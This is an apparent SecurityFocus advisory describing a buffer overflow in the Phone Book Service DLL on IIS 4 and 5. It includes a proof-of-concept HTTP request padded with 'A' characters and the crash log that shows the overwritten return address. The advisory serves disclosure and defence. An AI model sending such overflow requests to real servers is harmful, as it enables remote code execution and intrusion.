source: http://www.securityfocus.com/bid/2048/info

The Phone Book Service is an optional component that ships with the NT 4 Option Pack and Windows 2000. It is not installed by default.

A buffer overflow vulnerability was discovered in the URL processing routines of the Phone Book Service requests on IIS 4 and IIS 5. If exploited, this vulnerability allows an attacker to execute arbitrary code and obtain a remote command shell with those privileges of the IUSR_machinename account (IIS 4) or the IWAM_machinename account (IIS 5). 

The Phone Book server services requests using the Internet Information Services 5.0 with URIs such as http://hostname/pbserver/

According to Microsoft's documentation a DLL (PBSERVER.DLL) is exported and the services can be used making requests with the following format:



http://hostname/pbserver/pbserver.dll?osarch=&ostype=&osver=&cmver=&lcid=&pb
ver=&pb=<STRING=db name>

In the DLL checks the total lenght to ensure that request does not exceed
1024 bytes, however it is
possible to overflow a local variable of fixed length in the DLL by sending
a request with
the following form:

GET /pbserver/pbserver.dll?&&&&&&pb=AAAAAA... (less than 980 chars)
HTTP/1.0\n\n

The result is an exception reported in the Event log with source WAM like
the following:

The HTTP server encountered an unhandled exception while processing the
ISAPI Application '
+ 0x41414143
+ 0x41414139
pbserver!HttpExtensionProc + 0x1C
wam!DllGetClassObject + 0x808
RPCRT4!NdrServerInitialize + 0x4DB
RPCRT4!NdrStubCall2 + 0x586
RPCRT4!CStdStubBuffer_Invoke + 0xC1
ole32!StgGetIFillLockBytesOnFile + 0x116EC
ole32!StgGetIFillLockBytesOnFile + 0x12415
ole32!DcomChannelSetHResult + 0xDF0
ole32!DcomChannelSetHResult + 0xD35
ole32!StgGetIFillLockBytesOnFile + 0x122AD
ole32!StgGetIFillLockBytesOnFile + 0x1210A
ole32!StgGetIFillLockBytesOnFile + 0x11E22
RPCRT4!NdrServerInitialize + 0x745
RPCRT4!NdrServerInitialize + 0x652
RPCRT4!NdrServerInitialize + 0x578
RPCRT4!RpcSmDestroyClientContext + 0x9E
RPCRT4!NdrConformantArrayFree + 0x8A5
RPCRT4!NdrConformantArrayFree + 0x3FC
RPCRT4!RpcBindingSetOption + 0x395
RPCRT4!RpcBindingSetOption + 0x18E
RPCRT4!RpcBindingSetOption + 0x4F8
KERNEL32!CreateFileA + 0x11B

For additional information specific to this message please visit the Microsoft Online Support site located at: http://www.microsoft.com/contentredirect.asp.

By sending a carefully crafted HTTP request an attacker can bypass the total length check and overflow a local variable in PBSERVER.DLL allowing the execution of arbitrary code as user GUEST on the vulnerable machine.